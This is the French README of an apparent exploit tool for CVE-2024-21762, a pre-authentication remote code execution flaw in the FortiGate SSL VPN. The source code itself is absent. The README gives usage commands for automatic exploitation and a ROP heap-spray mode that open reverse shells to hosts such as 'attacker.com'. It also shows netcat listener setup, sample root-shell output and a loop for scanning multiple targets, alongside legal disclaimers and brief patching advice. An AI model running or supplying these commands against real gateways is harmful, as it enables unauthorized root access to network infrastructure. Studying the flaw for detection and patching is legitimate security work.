
Détecte et exploite la CVE-2024-21762, une RCE pré-authentification dans FortiGate SSL VPN, avec validation de référence, exploitation automatique, mode ROP heap-spray et reverse shell.
Outil de détection et d'exploitation pour CVE-2024-21762 - Vulnérabilité critique dans FortiGate SSL VPN
⚠️ AVERTISSEMENT LÉGAL : Cet outil est exclusivement destiné à une utilisation dans des environnements de test autorisés. Toute utilisation non autorisée sur des systèmes est ILLÉGALE et peut entraîner de graves conséquences juridiques.
CVE-2024-21762 est une vulnérabilité critique dans les composants FortiGate SSL VPN qui permet une exécution de code à distance (RCE) sans authentification préalable. Le défaut réside dans un parsing vulnérable des requêtes HTTP avec Transfer-Encoding chunked, entraînant une écriture hors limites dans le composant sslvpnd.
| Attribut | Information |
|---|---|
| CVE ID | CVE-2024-21762 |
| Vulnérabilité | Out-of-bounds write dans sslvpnd |
| Type | Exécution de code à distance (RCE) sans authentification |
| Score CVSS | 9.8 (Critique) |
| Composant affecté | FortiOS SSL VPN |
| Versions vulnérables | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Détection de vulnérabilité - Identifie les FortiGate vulnérables via des requêtes malformées
✅ Test de référence - Vérifie le comportement normal du serveur avant les tests
✅ Mode automatique - Détecte la vulnérabilité et l'exploite automatiquement
✅ Reverse Shell - Prend en charge un reverse shell bash avec configuration IP/port
✅ Validation des entrées - Valide les adresses IP et les ports avant l'exploitation
✅ Rapports détaillés - Génère des rapports avec des recommandations de correction
✅ Gestion robuste des erreurs - Gestion sécurisée des connexions et des exceptions
# Clonez le dépôt
git clone https://github.com/votre-utilisateur/CVE-2024-21762.git
cd CVE-2024-21762
# Vérifiez la syntaxe
python -m py_compile EXPLOIT.py
# Exécutez le script
python EXPLOIT.py -h
# Test de détection simple
python EXPLOIT.py 192.168.1.100
# Avec un port personnalisé
python EXPLOIT.py 192.168.1.100 -p 8443
# Avec un délai d'attente augmenté
python EXPLOIT.py 192.168.1.100 --timeout 20
# Mode automatique avec reverse shell préconfiguré
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Mode automatique sans informations d'identification (demande interactive)
python EXPLOIT.py 192.168.1.100 --auto
Le mode ROP implémente une exploitation en deux étapes avec heap spray pour des cibles spécifiques (FortiOS 7.4.2) :
# Exploitation ROP avec reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Avec un port personnalisé
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Avec un délai d'attente augmenté pour les cibles lentes
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
Flux d'exploitation ROP :
Sur votre serveur d'écoute :
# Linux/Mac/Windows avec netcat
nc -lnvp 4242
# Sortie attendue :
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Remarque importante : Le mode ROP est optimisé pour FortiOS 7.4.2.F-build2571. D'autres versions peuvent ne pas fonctionner en raison des offsets hardcodés de la chaîne ROP.
# Envoyer une charge utile de reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combinaison de plusieurs options
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Nom d'hôte ou IP de la cible à tester
optional arguments:
-h, --help Affiche ce message d'aide
-t, --target HOSTNAME Nom d'hôte ou IP de la cible (alternatif)
-p, --port PORT Port SSL VPN (défaut : 443)
--timeout SECONDS Délai d'attente en secondes (défaut : 10)
-li, --lhost IP Adresse IP locale pour recevoir le reverse shell
-lp, --lport PORT Port local pour recevoir le reverse shell
--no-baseline Ignorer le test de référence
--auto Mode automatique : détecte et exploite
--rop Mode ROP : exploitation avancée avec heap spray (FortiOS 7.4.2)
-v, --version Affiche la version du script
python EXPLOIT.py 192.168.1.100
Résultat attendu en cas de vulnérabilité :
[+] Démarrage du test de vulnérabilité...
[!] VULNÉRABLE DÉTECTÉ !
[!] Le serveur a fermé la connexion brusquement
[!] STATUT : VULNÉRABLE
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
Sur votre serveur :
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
L'outil considère une cible comme vulnérable lorsqu'il détecte l'un des comportements suivants :
| Version | Détection | Mode ROP | Statut |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Oui | ❌ Non | ⚠️ VULNÉRABLE |
| FortiOS 7.2.0 - 7.2.6 | ✅ Oui | ❌ Non | ⚠️ VULNÉRABLE |
| FortiOS 7.4.0 - 7.4.1 | ✅ Oui | ❌ Non | ⚠️ VULNÉRABLE |
| FortiOS 7.4.2 (build≤2571) | ✅ Oui | ✅ Oui | ⚠️ VULNÉRABLE |
| FortiOS 7.4.3+ | ❌ Non | ❌ Non | ✅ CORRIGÉ |
Mettre à jour FortiOS vers une version corrigée :
Isolement temporaire
Surveillance
# Vérifier la version de FortiOS
python EXPLOIT.py votre-fortinet.com
Si le résultat indique "NON VULNÉRABLE", le correctif a été appliqué avec succès.
CVE-2024-21762/
├── EXPLOIT.py # Script principal d'exploitation
├── README.md # Ce fichier
├── LICENSE # Licence MIT
└── .gitignore # Configuration Git
| Méthode | Description |
|---|---|
test_vulnerability() | Teste la vulnérabilité en envoyant une requête malformée |
exploit(lhost, lport) | Exploite la vulnérabilité avec un reverse shell |
test_baseline() | Teste le comportement normal du serveur |
generate_report() | Génère le rapport final avec le statut |
_create_ssl_context() | Crée un contexte SSL réutilisable |
_create_socket_connection() | Crée une connexion TLS sécurisée |
_close_socket(sock) | Ferme le socket de manière sécurisée |
_is_valid_ip(ip_str) | Valide le format de l'adresse IP |
L'outil implémente :
P : Est-il possible de l'utiliser sur un environnement Windows ?
R : Oui, le script Python fonctionne sous Windows, mais le reverse shell bash par défaut ne fonctionnera pas. Vous auriez besoin d'une charge utile personnalisée.
P : Comment savoir si l'exploitation a réussi ?
R : Vérifiez la machine qui écoute pour le reverse shell (nc/ncat). Le script affichera des messages indiquant la progression.
P : Puis-je l'utiliser contre plusieurs cibles ?
R : Oui, vous pouvez créer un script bash/PowerShell pour itérer sur une liste d'adresses IP.
P : Quelle est la différence entre le mode normal et le mode automatique ?
R : Le mode automatique exploite automatiquement si une vulnérabilité est trouvée. Le mode normal se contente de détecter.
Vous avez trouvé un bug ou des suggestions ? Ouvrez un issue ou faites une pull request !
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Ce logiciel est fourni "en l'état" à des fins de recherche et de tests autorisés. Les auteurs ne sont pas responsables de :
UTILISEZ-LE DE MANIÈRE RESPONSABLE ET UNIQUEMENT DANS DES ENVIRONNEMENTS AUTORISÉS
Développé à des fins éducatives et de recherche en cybersécurité.
⚠️ Souvenez-vous : N'utilisez cet outil que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. L'exploitation non autorisée est un crime.